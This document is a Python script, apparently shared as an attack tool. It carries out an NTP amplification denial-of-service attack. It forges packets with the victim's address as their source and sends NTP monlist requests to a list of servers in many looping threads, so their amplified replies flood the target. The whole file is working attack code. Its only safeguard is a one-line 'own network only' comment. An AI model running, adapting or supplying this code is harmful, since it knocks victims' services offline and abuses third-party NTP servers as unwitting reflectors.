ntp-dos.py

#!/usr/bin/env python

from scapy.all import *
import sys
import threading
import time
import random    # For Random source port

#NTP Amp DOS attack
#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY

#packet sender
def deny():
    #Import globals to function
    global ntplist
    global currentserver
    global data
    global target
    ntpserver = ntplist[currentserver] #Get new server
    currentserver = currentserver + 1 #Increment for next
    packet = IP(dst=ntpserver,src=target)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data) #BUILD IT
    send(packet,loop=1) #SEND IT

#So I dont have to have the same stuff twice
def printhelp():
    print "NTP Amplification DOS Attack"
    print "By DaRkReD"
    print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
    print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
    print "NTP serverlist file should contain one IP per line"
    print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
    exit(0)

try:
    if len(sys.argv) < 4:
        printhelp()
    #Fetch Args
    target = sys.argv[1]

    #Help out idiots
    if target in ("help","-h","h","?","--h","--help","/?"):
        printhelp()

    ntpserverfile = sys.argv[2]
    numberthreads = int(sys.argv[3])
    #System for accepting bulk input
    ntplist = []
    currentserver = 0
    with open(ntpserverfile) as f:
        ntplist = f.readlines()

    #Make sure we dont out of bounds
    if  numberthreads > int(len(ntplist)):
        print "Attack Aborted: More threads than servers"
        print "Next time dont create more threads than servers"
        exit(0)

    #Magic Packet aka NTP v2 Monlist Packet
    data = "\x17\x00\x03\x2a" + "\x00" * 4

    #Hold our threads
    threads = []
    print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
    print "Use CTRL+C to stop attack"

    #Thread spawner
    for n in range(numberthreads):
        thread = threading.Thread(target=deny)
        thread.daemon = True
        thread.start()

        threads.append(thread)

    #In progress!
    print "Sending..."

    #Keep alive so ctrl+c still kills all them threads
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    print("Script Stopped [ctrl + c]... Shutting down")
    # Script ends here